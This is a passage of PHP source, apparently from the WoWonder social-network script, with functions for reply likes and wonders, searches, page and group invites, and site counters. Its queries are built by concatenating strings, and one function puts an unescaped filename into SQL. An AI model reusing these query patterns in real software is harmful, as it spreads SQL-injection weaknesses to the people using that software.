        if (!empty($user_id)) {
            $also = Wo_GetRepliedUsers($data["comment_id"]);
            if (isset($also) && is_array($also)) {
                foreach ($also as $user) {
                    $notification_data_array = array(
                        "recipient_id" => $user["user_id"],
                        "type" => "also_replied",
                        "post_id" => $comment["post_id"],
                        "text" => $text,
                        "type2" => $type2,
                        "url" => "index.php?link1=post&id=" . $comment["post_id"] . "&ref=" . $comment["id"]
                    );
                    Wo_RegisterNotification($notification_data_array);
                }
            }
        }
        return $inserted_reply_id;
    }
}
function Wo_IsCommentOnwer($user_id, $comment_id) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_COMMENTS . " WHERE `id` = {$comment_id} AND `user_id` = {$user_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) >= 1) {
        return true;
    }
}
function Wo_GetRepliedUsers($comment_id) {
    global $sqlConnect, $wo;
    $data = array();
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($comment_id) || !is_numeric($comment_id) || $comment_id < 1) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "SELECT `user_id` FROM " . T_COMMENTS_REPLIES . " WHERE `comment_id` = {$comment_id}");
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wo_GetUserProfilePicture($image = "", $type = "") {
    global $sqlConnect, $wo;
    if (empty($image)) {
        return false;
    }
    $explode2  = @end(explode(".", $image));
    $explode3  = @explode(".", $image);
    $image     = $explode3[0] . "_full." . $explode2;
    $query_one = "SELECT `post_id` FROM " . T_POSTS . " WHERE `postFile` = '{$image}'";
    $query     = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($query) > 0) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["post_id"];
    }
    return false;
}
function Wo_RegsiterRecent($id = 0, $type = "") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) || !is_numeric($id) || $id < 1) {
        return false;
    }
    if (empty($type)) {
        return false;
    }
    $id   = Wo_Secure($id);
    $type = Wo_Secure($type);
    if ($type == "timeline") {
        $type = "user";
    }
    $user_id      = Wo_Secure($wo["user"]["user_id"]);
    $query_delete = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_RECENT_SEARCHES . " WHERE `user_id` = {$user_id} AND `search_id` = '{$id}' AND `search_type` = '{$type}'");
    if (mysqli_num_rows($query_delete) > 0) {
        $query_two = mysqli_query($sqlConnect, "DELETE FROM " . T_RECENT_SEARCHES . " WHERE `user_id` = {$user_id} AND `search_id` = '{$id}' AND `search_type` = '{$type}'");
    }
    $query_one = mysqli_query($sqlConnect, "INSERT INTO " . T_RECENT_SEARCHES . " (`user_id`,`search_id`,`search_type`) VALUES ('{$user_id}', '{$id}', '{$type}')");
    if ($query_one) {
        return $id;
    }
}
function Wo_ClearRecent() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $user_id      = Wo_Secure($wo["user"]["user_id"]);
    $query_delete = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_RECENT_SEARCHES . " WHERE `user_id` = {$user_id}");
    if (mysqli_num_rows($query_delete) > 0) {
        $query_two = mysqli_query($sqlConnect, "DELETE FROM " . T_RECENT_SEARCHES . " WHERE `user_id` = {$user_id}");
        if ($query_two) {
            return true;
        }
    }
}
function Wo_GetSearchAdv($search_qeury, $type, $offset = 0, $limit = 0) {
    global $sqlConnect;
    $search_qeury = Wo_Secure($search_qeury);
    $data         = array();
    $offset_to    = "";
    if ($type == "groups") {
        if ($offset > 0) {
            $offset_to .= " AND `id` < {$offset} AND `id` <> {$offset} ";
        }
        $query = mysqli_query($sqlConnect, " SELECT `id` FROM " . T_GROUPS . " WHERE ((`group_name` LIKE '%$search_qeury%') OR `group_title` LIKE '%$search_qeury%') AND `active` = '1' {$offset_to} ORDER BY `id` DESC LIMIT 10");
        if (mysqli_num_rows($query)) {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                $data[] = Wo_GroupData($fetched_data["id"]);
            }
        }
    } elseif ($type == "channels") {
        if ($offset > 0) {
            $offset_to .= " AND `group_id` < {$offset} AND `group_id` <> {$offset} ";
        }
        $query = mysqli_query($sqlConnect, " SELECT `group_id` FROM " . T_GROUP_CHAT . " WHERE (`group_name` LIKE '%$search_qeury%') AND `type` = 'channel' {$offset_to} ORDER BY `group_id` DESC LIMIT 10");
        if (mysqli_num_rows($query)) {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                $data[] = Wo_GroupTabData($fetched_data["group_id"]);
            }
        }
    } elseif ($type == "pages") {
        if ($offset > 0) {
            $offset_to .= " AND `page_id` < {$offset} AND `page_id` <> {$offset} ";
        }
        $query = mysqli_query($sqlConnect, " SELECT `page_id` FROM " . T_PAGES . " WHERE ((`page_name` LIKE '%$search_qeury%') OR `page_title` LIKE '%$search_qeury%') AND `active` = '1' {$offset_to} ORDER BY `page_id` DESC LIMIT 10");
        if (mysqli_num_rows($query)) {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                $data[] = Wo_PageData($fetched_data["page_id"]);
            }
        }
    } elseif ($type == "games") {
        $limit_ = 10;
        if (!empty($limit)) {
            $limit_ = Wo_Secure($limit);
        }
        if ($offset > 0) {
            $offset_to .= " AND `id` < {$offset} AND `id` <> {$offset} ";
        }
        $query = mysqli_query($sqlConnect, " SELECT `id` FROM " . T_GAMES . " WHERE `game_name` LIKE '%$search_qeury%' AND `active` = '1' {$offset_to} ORDER BY `id` DESC LIMIT $limit_");
        if (mysqli_num_rows($query)) {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                $data[] = Wo_GameData($fetched_data["id"]);
            }
        }
    } elseif ($type == "posts") {
        $query = mysqli_query($sqlConnect, " SELECT `id` FROM " . T_POSTS . " WHERE `postText` LIKE '%$search_qeury%' ORDER BY `id` DESC LIMIT 10");
        if (mysqli_num_rows($query)) {
            while ($fetched_data = mysqli_fetch_assoc($query)) {
                $data[] = Wo_PostData($fetched_data["id"]);
            }
        }
    }
    return $data;
}
function Wo_GetUserAlbums($user_id, $placement = "", $limit = 5000, $offset = 0) {
    global $sqlConnect, $wo;
    $data         = array();
    $user_id      = Wo_Secure($user_id);
    $offset_query = "";
    if (!empty($offset)) {
        $offset       = Wo_Secure($offset);
        $offset_query = " AND `id` < $offset ";
    }
    $query = mysqli_query($sqlConnect, " SELECT `id` FROM " . T_POSTS . " WHERE `album_name` <> '' AND `user_id` = {$user_id} $offset_query ORDER BY `id` DESC LIMIT {$limit}");
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $fetched_data = Wo_PostData($fetched_data["id"]);
            if (!empty($fetched_data["photo_album"])) {
                foreach ($fetched_data["photo_album"] as $id => $photo) {
                    $album = Wo_GetMedia($photo["image_org"]);
                }
                $fetched_data["first_image"] = $album;
                $data[]                      = $fetched_data;
            }
        }
    }
    return $data;
}
function Wo_AddCommentReplyWonders($reply_id, $text = "") {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($reply_id) or empty($reply_id) or !is_numeric($reply_id) or $reply_id < 1) {
        return false;
    }
    $reply_id        = Wo_Secure($reply_id);
    $user_id         = Wo_Secure($wo["user"]["user_id"]);
    $comment_user_id = Wo_GetUserIdFromReplyId($reply_id);
    $comment         = Wo_GetCommentIdFromReplyId($reply_id);
    $post_id         = Wo_GetPostIdFromCommentId($comment);
    $page_id         = "";
    $post_data       = Wo_PostData($post_id);
    if (!empty($post_data["page_id"])) {
        $page_id = $post_data["page_id"];
    }
    if (Wo_IsPageOnwer($post_data["page_id"]) === false) {
        $page_id = 0;
    }
    if (empty($comment_user_id)) {
        return false;
    }
    $reply_data = Wo_GetCommentReply($reply_id);
    $text       = Wo_Secure($reply_data["text"]);
    if (isset($text) && !empty($text)) {
        $text = mb_substr($text, 0, 10, "UTF-8") . "..";
    }
    if (Wo_IsCommentReplyWondered($reply_id, $wo["user"]["user_id"]) === true) {
        $query_one = "DELETE FROM " . T_COMMENT_REPLIES_WONDERS . " WHERE `reply_id` = {$reply_id} AND `user_id` = {$user_id}";
        mysqli_query($sqlConnect, "DELETE FROM " . T_NOTIFICATION . " WHERE `post_id` = {$post_id} AND `recipient_id` = {$comment_user_id} AND `type` = 'wondered_reply_comment'");
        $sql_query_one = mysqli_query($sqlConnect, $query_one);
        if ($sql_query_one) {
            return "unwonder";
        }
    } else {
        if ($wo["config"]["second_post_button"] == "dislike" && Wo_IsCommentReplyLiked($reply_id, $wo["user"]["user_id"])) {
            Wo_AddCommentReplyLikes($reply_id);
        }
        $query_two     = "INSERT INTO " . T_COMMENT_REPLIES_WONDERS . " (`user_id`, `reply_id`) VALUES ({$user_id}, {$reply_id})";
        $sql_query_two = mysqli_query($sqlConnect, $query_two);
        if ($sql_query_two) {
            $notification_data_array = array(
                "recipient_id" => $comment_user_id,
                "post_id" => $post_id,
                "type" => "wondered_reply_comment",
                "text" => $text,
                "page_id" => $page_id,
                "url" => "index.php?link1=post&id=" . $post_id . "&ref=" . $comment
            );
            Wo_RegisterNotification($notification_data_array);
            return "wonder";
        }
    }
}
function Wo_CountCommentReplyWonders($reply_id) {
    global $sqlConnect;
    if (empty($reply_id) or !is_numeric($reply_id) or $reply_id < 1) {
        return false;
    }
    $reply_id      = Wo_Secure($reply_id);
    $query_one     = "SELECT COUNT(`id`) AS `likes` FROM " . T_COMMENT_REPLIES_WONDERS . " WHERE `reply_id` = {$reply_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["likes"];
    }
    return false;
}
function Wo_IsCommentReplyWondered($reply_id, $user_id) {
    global $sqlConnect;
    if (empty($reply_id) or !is_numeric($reply_id) or $reply_id < 1) {
        return false;
    }
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $reply_id      = Wo_Secure($reply_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_COMMENT_REPLIES_WONDERS . " WHERE `reply_id` = {$reply_id} AND `user_id` = {$user_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) >= 1) {
        return true;
    }
}
function Wo_GetCommentIdFromReplyId($reply_id = 0) {
    global $sqlConnect;
    if (empty($reply_id) or !is_numeric($reply_id) or $reply_id < 1) {
        return false;
    }
    $reply_id      = Wo_Secure($reply_id);
    $query_one     = "SELECT `comment_id` FROM " . T_COMMENTS_REPLIES . " WHERE `id` = {$reply_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["comment_id"];
    }
    return false;
}
function Wo_GetUserIdFromReplyId($reply_id = 0) {
    global $sqlConnect;
    if (empty($reply_id) or !is_numeric($reply_id) or $reply_id < 1) {
        return false;
    }
    $reply_id      = Wo_Secure($reply_id);
    $query_one     = "SELECT `user_id` FROM " . T_COMMENTS_REPLIES . " WHERE `id` = {$reply_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["user_id"];
    }
}
function Wo_AddCommentReplyLikes($reply_id, $text = "") {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($reply_id) or empty($reply_id) or !is_numeric($reply_id) or $reply_id < 1) {
        return false;
    }
    $reply_id        = Wo_Secure($reply_id);
    $user_id         = Wo_Secure($wo["user"]["user_id"]);
    $comment_user_id = Wo_GetUserIdFromReplyId($reply_id);
    $comment         = Wo_GetCommentIdFromReplyId($reply_id);
    $post_id         = Wo_GetPostIdFromCommentId($comment);
    $page_id         = "";
    $post_data       = Wo_PostData($post_id);
    if (!empty($post_data["page_id"])) {
        $page_id = $post_data["page_id"];
    }
    if (Wo_IsPageOnwer($post_data["page_id"]) === false) {
        $page_id = 0;
    }
    if (empty($comment_user_id)) {
        return false;
    }
    $reply_data = Wo_GetCommentReply($reply_id);
    $text       = Wo_Secure($reply_data["text"]);
    if (isset($text) && !empty($text)) {
        $text = mb_substr($text, 0, 10, "UTF-8") . "..";
    }
    if (Wo_IsCommentReplyLiked($reply_id, $user_id) === true) {
        $query_one = "DELETE FROM " . T_COMMENT_REPLIES_LIKES . " WHERE `reply_id` = {$reply_id} AND `user_id` = {$user_id}";
        mysqli_query($sqlConnect, "DELETE FROM " . T_NOTIFICATION . " WHERE `post_id` = {$post_id} AND `recipient_id` = {$comment_user_id} AND `type` = 'liked_reply_comment'");
        $sql_query_one = mysqli_query($sqlConnect, $query_one);
        if ($sql_query_one) {
            return "unliked";
        }
    } else {
        if ($wo["config"]["second_post_button"] == "dislike" && Wo_IsCommentReplyWondered($reply_id, $wo["user"]["user_id"])) {
            Wo_AddCommentReplyWonders($reply_id);
        }
        $query_two     = "INSERT INTO " . T_COMMENT_REPLIES_LIKES . " (`user_id`, `reply_id`) VALUES ({$user_id},{$reply_id})";
        $sql_query_two = mysqli_query($sqlConnect, $query_two);
        if ($sql_query_two) {
            $notification_data_array = array(
                "recipient_id" => $comment_user_id,
                "post_id" => $post_id,
                "type" => "liked_reply_comment",
                "text" => $text,
                "page_id" => $page_id,
                "url" => "index.php?link1=post&id=" . $post_id . "&ref=" . $comment
            );
            Wo_RegisterNotification($notification_data_array);
            return "liked";
        }
    }
}
function Wo_CountCommentReplyLikes($reply_id) {
    global $sqlConnect;
    if (empty($reply_id) or !is_numeric($reply_id) or $reply_id < 1) {
        return false;
    }
    $reply_id      = Wo_Secure($reply_id);
    $query_one     = "SELECT COUNT(`id`) AS `likes` FROM " . T_COMMENT_REPLIES_LIKES . " WHERE `reply_id` = {$reply_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["likes"];
    }
    return false;
}
function Wo_IsCommentReplyLiked($reply_id, $user_id) {
    global $sqlConnect;
    if (empty($reply_id) or !is_numeric($reply_id) or $reply_id < 1) {
        return false;
    }
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $reply_id      = Wo_Secure($reply_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_COMMENT_REPLIES_LIKES . " WHERE `reply_id` = {$reply_id} AND `user_id` = {$user_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) >= 1) {
        return true;
    }
}
function Wo_CanSeeBirthday($user_id, $privacy) {
    global $sqlConnect, $wo;
    if (empty($user_id) || !is_numeric($user_id)) {
        return false;
    }
    if ($privacy == 0) {
        return true;
    } elseif ($privacy == 1) {
        if ($wo["loggedin"] !== false) {
            if (Wo_IsFollowing($wo["user"]["user_id"], $user_id) === true) {
                return true;
            }
        } else {
            return false;
        }
    } elseif ($privacy == 2) {
        return false;
    }
}
function Wo_CountPageInvites($page_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id)) {
        return false;
    }
    $page_id   = Wo_Secure($page_id);
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `active` = '1' AND `following_id` NOT IN (SELECT `invited_id` FROM " . T_PAGES_INVAITES . " WHERE `page_id` = {$page_id}) AND `following_id` NOT IN (SELECT `user_id` FROM " . T_PAGES_LIKES . " WHERE `page_id` = {$page_id})");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_GetPageInvites($page_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id)) {
        return false;
    }
    $data      = array();
    $page_id   = Wo_Secure($page_id);
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    $query_one = mysqli_query($sqlConnect, "SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `active` = '1' AND `following_id` NOT IN (SELECT `invited_id` FROM " . T_PAGES_INVAITES . " WHERE `page_id` = {$page_id}) AND `following_id` NOT IN (SELECT `user_id` FROM " . T_PAGES_LIKES . " WHERE `page_id` = {$page_id}) AND `following_id` NOT IN (SELECT `user_id` FROM " . T_PAGES . " WHERE `page_id` = {$page_id})");
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $data[] = Wo_UserData($fetched_data["following_id"]);
        }
    }
    return $data;
}
function Wo_RegsiterInvite($user_id, $page_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id)) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id)) {
        return false;
    }
    if (Wo_IsPageInvited($user_id, $page_id) === true) {
        return false;
    }
    if (Wo_PageExistsByID($page_id) === false) {
        return false;
    }
    $page_id        = Wo_Secure($page_id);
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $query_one      = mysqli_query($sqlConnect, "INSERT INTO " . T_PAGES_INVAITES . " (`invited_id`,`inviter_id`,`page_id`) VALUES ({$user_id}, {$logged_user_id}, {$page_id})");
    if ($query_one) {
        $page                    = Wo_PageData($page_id);
        $notification_data_array = array(
            "recipient_id" => $user_id,
            "type" => "invited_page",
            "page_id" => $page_id,
            "url" => "index.php?link1=timeline&u=" . $page["page_name"]
        );
        Wo_RegisterNotification($notification_data_array);
        return true;
    }
}
function Wo_IsPageInvited($user_id, $page_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id)) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id)) {
        return false;
    }
    $page_id        = Wo_Secure($page_id);
    $user_id        = Wo_Secure($user_id);
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $query_one      = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_PAGES_INVAITES . " WHERE `invited_id` = {$user_id} AND `page_id` = {$page_id}");
    $fetched_data   = mysqli_num_rows($query_one);
    if ($fetched_data > 0) {
        return true;
    }
}
function Wo_GetPageInviters($user_id, $page_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id)) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id)) {
        return false;
    }
    $data      = array();
    $page_id   = Wo_Secure($page_id);
    $query_one = mysqli_query($sqlConnect, "SELECT `inviter_id` FROM " . T_PAGES_INVAITES . " WHERE `invited_id` = {$user_id} AND `page_id` = {$page_id}");
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $data[] = Wo_UserData($fetched_data["inviter_id"]);
        }
    }
    return $data;
}
function Wo_GetUserInviters($user_id, $limit = 20, $offset = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id)) {
        return false;
    }
    $data        = array();
    $page_id     = Wo_Secure($page_id);
    $limit       = !empty($limit) && is_numeric($limit) && $limit > 0 ? Wo_Secure($limit) : 20;
    $offset_text = "";
    if (!empty($offset) && is_numeric($offset) && $offset > 0) {
        $offset      = Wo_Secure($offset);
        $offset_text = " AND `id` < " . $offset;
    }
    $query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_PAGES_INVAITES . " WHERE `invited_id` = {$user_id} {$offset_text} LIMIT {$limit}");
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $page               = Wo_PageData($fetched_data["page_id"]);
            $page["invited_id"] = $fetched_data["id"];
            $data[]             = $page;
        }
    }
    return $data;
}
function Wo_DeleteInvites($user_id, $page_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id)) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id)) {
        return false;
    }
    $page_id   = Wo_Secure($page_id);
    $user_id   = Wo_Secure($user_id);
    $query_one = mysqli_query($sqlConnect, "DELETE FROM " . T_PAGES_INVAITES . " WHERE `invited_id` = {$user_id} AND `page_id` = {$page_id}");
    if ($query_one) {
        return true;
    }
}
function Wo_GetCallInAction($id, $url) {
    global $sqlConnect, $wo;
    if (empty($id)) {
        return false;
    }
    if (!array_key_exists($id, $wo["call_action"])) {
        return false;
    }
    if (empty($url)) {
        return false;
    }
    $wo["call_page"]["call_action_url"] = $url;
    $wo["call_page"]["call_action_btn"] = $wo["call_action"][$id];
    return Wo_LoadPage("buttons/call-action");
}
function Wo_CountUserData($type) {
    global $wo, $sqlConnect;
    $type_table = T_USERS;
    $type_id    = "user_id";
    $where      = "";
    if (in_array($type, array_keys($wo["genders"]))) {
        $where = "`gender` = '" . $type . "'";
    } elseif ($type == "active") {
        $where = "`active` = '1'";
    } elseif ($type == "not_active") {
        $where = "`active` <> '1'";
    }
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT($type_id) as count FROM {$type_table} WHERE {$where}");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountPageData($type) {
    global $wo, $sqlConnect;
    $type_table = T_PAGES;
    $type_id    = "id";
    $where      = "";
    if ($type == "likes") {
        $type_table = T_PAGES_LIKES;
        $where      = "`active` = '1'";
        $type_id    = "id";
    } elseif ($type == "pages_posts") {
        $type_table = T_POSTS;
        $where      = "`page_id` <> 0";
        $type_id    = "id";
    } elseif ($type == "verified_pages") {
        $type_table = T_PAGES;
        $where      = "`verified` = '1'";
        $type_id    = "page_id";
    }
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT($type_id) as count FROM {$type_table} WHERE {$where}");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountGroupData($type) {
    global $wo, $sqlConnect;
    $type_table = T_PAGES;
    $type_id    = "id";
    $where      = "";
    if ($type == "members") {
        $type_table = T_GROUP_MEMBERS;
        $where      = "`active` = '1'";
        $type_id    = "id";
    } elseif ($type == "groups_posts") {
        $type_table = T_POSTS;
        $where      = "`group_id` <> 0";
        $type_id    = "id";
    } elseif ($type == "join_requests") {
        $type_table = T_GROUP_MEMBERS;
        $where      = "`active` = '0'";
        $type_id    = "id";
    }
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT($type_id) as count FROM {$type_table} WHERE {$where}");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountPostData($type) {
    global $wo, $sqlConnect;
    $type_table = T_PAGES;
    $type_id    = "id";
    $where      = "";
    if ($type == "replies") {
        $type_table = T_COMMENTS_REPLIES;
        $type_id    = "id";
    } elseif ($type == "likes") {
        $type_table = T_LIKES;
        $type_id    = "id";
    } elseif ($type == "wonders") {
        $type_table = T_WONDERS;
        $type_id    = "id";
    }
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT($type_id) as count FROM {$type_table}");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
}
function Wo_CountGroupsNotMember($group_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id)) {
        return false;
    }
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    $group_id  = Wo_Secure($group_id);
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as count FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `active` = '1' AND `following_id` NOT IN (SELECT `user_id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id})");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_GetGroupsNotMember($group_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id)) {
        return false;
    }
    $data      = array();
    $group_id  = Wo_Secure($group_id);
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    $query_one = mysqli_query($sqlConnect, "SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `active` = '1' AND `following_id` NOT IN (SELECT `user_id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id})");
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $data[] = Wo_UserData($fetched_data["following_id"]);
        }
    }
    return $data;
}
function Wo_GroupExistsByID($id) {
    global $sqlConnect;
    if (empty($id)) {
        return false;
    }
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_GROUPS . " WHERE `id`= '{$id}' AND `active` = '1'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_UserExistsById($id) {
    global $sqlConnect;
    if (empty($id)) {
        return false;
    }
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT COUNT(`user_id`) FROM " . T_USERS . " WHERE `user_id`= '{$id}' AND `active` = '1'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_RegsiterGroupAdd($user_id, $group_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id)) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id)) {
        return false;
    }
    if (Wo_IsGroupJoined($group_id, $user_id) === true) {
        return false;
    }
    if (Wo_GroupExistsByID($group_id) === false) {
        return false;
    }
    if (Wo_UserExistsById($user_id) === false) {
        return false;
    }
    if (Wo_IsGroupOnwer($group_id, $user_id)) {
        return false;
    }
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $group_data     = Wo_GroupData($group_id);
    $user_id        = Wo_Secure($user_id);
    $query_one      = mysqli_query($sqlConnect, " INSERT INTO " . T_GROUP_MEMBERS . " (`user_id`,`group_id`,`active`,`time`) VALUES ({$user_id},{$group_id},'1'," . time() . ")");
    if ($query_one) {
        $notification_data_array = array(
            "recipient_id" => $user_id,
            "type" => "added_you_to_group",
            "group_id" => $group_id,
            "url" => "index.php?link1=timeline&u=" . $group_data["group_name"]
        );
        Wo_RegisterNotification($notification_data_array);
        return true;
    }
}
function Wo_GetFemusUsers() {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data      = array();
    $time      = time() - 86400;
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    // $query_one = " SELECT `user_id` FROM " . T_USERS . " WHERE (`verified` = '1' OR `admin` = '1' OR `active` = '1') AND `user_id` <> '{$user_id}' AND `active` = '1' AND `user_id` NOT IN (SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `following_id` <> {$user_id} AND `active` = '1') AND `avatar` <> '" . $wo['userDefaultAvatar'] . "' AND `lastseen` >= {$time} ORDER BY RAND() LIMIT 20 ";
    $query_one = " SELECT `user_id` FROM " . T_USERS . " WHERE (`verified` = '1' OR `admin` = '1' OR `active` = '1') AND follow_privacy = '0' AND `user_id` <> '{$user_id}' AND `active` = '1' AND `user_id` NOT IN (SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` = {$user_id} AND `following_id` <> {$user_id} AND `active` = '1') AND `avatar` <> '" . $wo["userDefaultAvatar"] . "' AND `lastseen` >= {$time} ORDER BY RAND() LIMIT 20 ";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $user_data = Wo_UserData($fetched_data["user_id"]);
            $data[]    = $user_data;
        }
    }
    return $data;
}
function Wo_CanSenEmails() {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if ($wo["config"]["smtp_or_mail"] == "mail") {
        return false;
    }
    $can_send_time = time() - 180;
    if ($wo["user"]["last_email_sent"] > $can_send_time) {
        return false;
    }
    return true;
}
function Wo_SendMessageFromDB() {
    global $wo, $sqlConnect,$siteEncryptKey;
    include_once "assets/libraries/PHPMailer-Master/vendor/autoload.php";
    $mail = new PHPMailer\PHPMailer\PHPMailer();
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data = array();
    if (Wo_CanSenEmails() === false) {
        return false;
    }
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    $query_one = " SELECT * FROM " . T_EMAILS . " WHERE `user_id` = {$user_id} ORDER BY `id` DESC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql) < 1) {
        return false;
    }
